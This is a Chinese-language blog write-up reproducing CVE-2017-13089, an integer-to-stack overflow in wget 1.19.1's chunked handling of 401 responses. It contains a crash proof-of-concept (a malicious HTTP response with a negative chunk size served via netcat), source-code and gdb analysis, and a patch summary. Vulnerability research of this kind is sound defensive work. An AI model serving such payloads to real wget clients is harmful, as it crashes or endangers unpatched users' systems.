H4lo's blog


IOT 安全研究爱好者


CVE-2017-13089 wget stackoverflow

前言

参考网上的一篇文章教程,复现了一下 wget 1.19.1 组件版本的的栈溢出漏洞。漏洞的成因是由于对响应包处理不当导致的整数溢出,进而导致栈溢出。

环境准备

1
2
3
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz

编译

1
2
3
cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8

安装

安装好的二进制文件是存放在 --prefix 变量值的 bin/ 目录下:

1
2
sudo make install
cd build/

image.png-15.5kB

漏洞触发

该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时,没有对读取的包做正负检查,导致的整数栈溢出。我们先触发一下这个漏洞。

1 . 建立 poc 文件

1
2
3
4
5
6
7
8
9
10
➜  wget_sof cat poc 

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

2 . nc 监听端口

1
➜  wget_sof nc -lp 12667 < poc

3 . wget 触发漏洞

可以看到,wget 在 12667 端口处触发了栈溢出漏洞,导致程序服务 crach:

image.png-42.8kB

漏洞分析

接着对漏洞点进行静态和动态分析。

静态分析

前文说了漏洞点是由于对 401 数据响应包的处理不当导致的,准确的说是由于 wget 在处理响应包时,对每个包进行分块之后,错误的将一个负数与整数进行比较,得到的负数的值作为内存复制函数的 len。

首先搜索 skip_short_body 函数,进入 src/http.c 源代码中进行分析:

1
2
3
4
5
6
➜  wget-1.19.1 grep -rnl "skip_short_body" *                       
build/bin/wget
ChangeLog
src/http.c
src/http.o
src/wget

跟踪到 src/http.c 文件的 3493 行,在这里会判断 wget 请求返回回来的 http 状态码,当状态码是 401(未认证)时会触发下面的 if 判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

if (statcode == HTTP_STATUS_UNAUTHORIZED)
{
/* Authorization is required. */
uerr_t auth_err = RETROK;
bool retry;
if(warc_enabled){
...... # 判断是否 content-type 为 WARC

}else
{
/* Since WARC is disabled, we are not interested in the response body. */
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
else
CLOSE_INVALIDATE (sock);
}

}
  • HTTP_STATUS_UNAUTHORIZED 的定义:
1
#define HTTP_STATUS_UNAUTHORIZED          401

因为这里的 content-type 不是 warc,所以会进入 else 分支,以此判断 keep_alivehead_only,接着调用 skip_short_body 这个函数,这里传入了三个参数,第一个参数 sock 的描述符,后面两个参数不重要。

跟进函数 skip_short_body

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */

/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;

while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;

remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);

if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}

contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}

DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);

首先函数通过 sock 获取到 line 的指针: char *line = fd_read_line (fd);也就是 http 响应包的响应体的指针

接着调用 strtol 函数,将 line 变量指向的值转换为整数值(remaining_chunk_size 变量),接着通过 MIN (remaining_chunk_size, SKIP_SIZE); 得到真正的响应体的长度 contlen。

  • MIN 的定义,取长度小的作为 contlen 的值:
1
# define MIN(a,b) ((a) < (b) ? (a) : (b))

之后调用了 fd_read 函数,将响应体的内容复制到栈中,长度即为 contlen 变量的值。

fd_read 函数封装了 sock_read 函数

1
2
3
4
5
6
7
8
9
10
11
12
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}

sock_read 函数调用了 read 函数,在这里触发了栈溢出:

1
2
3
4
5
6
7
8
9
static int
sock_read (int fd, char *buf, int bufsize)
{
int res;
do
res = read (fd, buf, bufsize);
while (res == -1 && errno == EINTR);
return res;
}

动态分析

使用 gdb 进行动态调试:

1
2
3
gdb ./wget
set args 127.0.0.1:12667
b skip_short_body

将断点下在 skip_short_body 函数入口,在执行完 fd_read_line 函数后,观察寄存器,返回值 line 的值为 -0xFFFFF000 的指针:

image.png-247kB

往下,接着会调用 strtol 函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:

image.png-38.3kB

执行完 strtol 函数之后,会将返回值赋值给 remaining_chunk_size 变量,此时这个变量的值为 0xffffffff00001000

1
2
pwndbg> i reg rax
rax 0xffffffff00001000 -4294963200

通过代码 contlen = MIN (remaining_chunk_size, SKIP_SIZE); 进行比较,得到的 contlen 变量的值为 0x1000。

SKIP_SIZE 的定义:

image.png-42.5kB

  • 这里将一个负数与整数相比较,返回的值就是 0x1000。

接着调用到 fd_read 函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。

image.png-46.3kB

跟进函数,fd_read 里面封装了 sock_read 函数:

image.png-47.9kB

跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA…)复制到栈空间上:

image.png-281.9kB

因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read 函数崩溃,而会溢出到了 skip_short_body 这个函数的栈空间,覆盖了栈的返回地址,导致程序崩溃:

image.png-10.8kB

漏洞补丁

更新的补丁将 strtol 函数的返回值 remaining_chunk_size 变量的值进行是否为负数的判断,如果是负数的话就之后 return False 从而防止整数的溢出。

image.png-77.6kB

参考文章

https://mp.weixin.qq.com/s/3rBfUnRiFoe-0w2C9JqwZw